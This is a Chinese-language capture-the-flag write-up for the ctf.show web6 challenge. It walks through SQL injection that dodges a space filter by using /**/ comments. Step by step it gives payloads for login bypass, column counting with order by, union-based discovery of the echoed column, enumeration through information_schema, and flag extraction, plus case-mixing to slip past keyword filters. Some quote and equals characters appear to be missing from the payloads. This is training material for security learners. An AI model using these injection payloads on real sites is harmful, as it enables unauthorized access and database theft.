ctf.show_web6

张开发
2026/4/16 13:18:48 15 分钟阅读

分享文章

ctf.show_web6
1. 题目核心规则这道题是带空格过滤的 SQL 注入后端对用户输入的内容做了空格拦截 / 替换所以带空格的经典万能密码a or 11 #会直接报错必须先绕过空格过滤再进行注入。2. 原来的代码的问题原来的题解用//代替空格这个写法不通用MySQL 的标准注释符是/**/多行注释、#/--单行注释-- 后面必须加空格//在 MySQL 中不是标准注释仅部分特殊配置支持大部分环境会直接报语法错误这就是你说的「代码不对了」的核心原因。3. 通用的空格绕过方案我们把//替换成MySQL 全版本兼容的/**//**/是 MySQL 的多行注释里面的内容会被忽略完全可以替代空格的分隔作用比如select * from user等价于select/**/*/**/from/**/user完美绕过空格过滤。二、完整分步讲解 修正后 Payload我们的注入点是用户名输入框所有 Payload 都填在「用户名」里密码随便填比如123后端 SQL 语句原型为sqlSELECT * FROM user WHERE username$username AND password$password步骤 1验证注入点绕过空格过滤万能密码登录核心原理用英文单引号闭合 SQL 语句里的$username打断原有字符串结构用or 11构造永真条件让 WHERE 语句永远成立用#注释掉后面的多余代码避免语法错误用/**/替代空格绕过空格过滤修正后可直接用的 Payload表格Payload说明aor(11)#无空格方案用括号包裹表达式完全不需要空格兼容性最强a/**/or/**/11/**/#用/**/替代空格最通用的绕过方案执行效果点击登录后页面会提示登录成功部分环境会直接显示 Flag如果没有显示 Flag继续下面的脱库步骤。步骤 2判断查询的字段数union 注入前置条件union 联合查询的核心要求前后两个查询的字段数必须完全一致所以先判断原查询有多少个字段。原理用order by n按第 n 个字段排序如果 n 超过了总字段数页面会报错如果正常显示说明字段数≥n。修正后 Payloadplaintexta/**/order/**/by/**/3/**/#测试逻辑输入order by 3页面正常说明字段数≥3输入order by 4页面报错说明总字段数 3步骤 3判断回显位哪个字段会显示在页面上原理原查询的用户名a不存在所以原查询结果为空页面会显示 union 后面的查询结果哪个数字显示在页面上哪个就是「回显位」我们把要查询的内容放在这个位置即可。修正后 Payloadplaintexta/**/union/**/select/**/1,2,3/**/#执行效果页面会显示 1、2、3 中的一个或多个比如显示2说明第二个字段是回显位后续所有查询内容都放在第二个字段的位置。步骤 4获取当前数据库名原理用 MySQL 内置函数database()获取当前连接的数据库名为后续查表做准备。修正后 Payloadplaintexta/**/union/**/select/**/1,database(),3/**/#执行效果页面会显示当前数据库名比如web2和原题解结果一致。步骤 5获取数据库里的所有表名原理MySQL 的information_schema系统库存储了所有数据库、表、字段的信息information_schema.tables存储所有表的信息table_schema表所属的数据库名table_name表名limit 0,1取第 1 条结果limit 1,1取第 2 条以此类推遍历所有表修正后 Payload通用版不用手动改数据库名plaintexta/**/union/**/select/**/1,(select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schemadatabase()/**/limit/**/0,1),3/**/#执行效果页面会显示第一个表名修改limit 1,1、limit 2,1可以遍历所有表最终会找到flag表Flag 就存在这个表里。步骤 6获取 flag 表的字段名原理information_schema.columns存储了所有字段的信息column_name就是字段名我们需要找到 flag 表里存储 Flag 的字段。修正后 Payloadplaintexta/**/union/**/select/**/1,(select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schemadatabase()/**/and/**/table_nameflag/**/limit/**/0,1),3/**/#执行效果页面会显示flag字段说明 Flag 就存在flag表的flag字段里。步骤 7获取最终的 Flag原理直接查询flag表的flag字段拿到最终结果。修正后 Payloadplaintexta/**/union/**/select/**/1,(select/**/flag/**/from/**/flag/**/limit/**/0,1),3/**/#执行效果页面会直接显示完整的ctfshow{xxxxxx}格式的 Flag复制提交即可通关。三、新手常见踩坑避坑指南单引号必须是英文格式中文的’无法闭合 SQL 字符串会直接报错必须切换到英文输入法输入注释符格式正确#后面不需要加空格--后面必须加空格新手优先用#关键字大小写绕过如果select/union被过滤用大小写混合绕过比如SeLeCt/UnIoN表名 / 字段名遍历如果limit 0,1没找到 flag 表修改limit 1,1、limit 2,1继续遍历即可

更多文章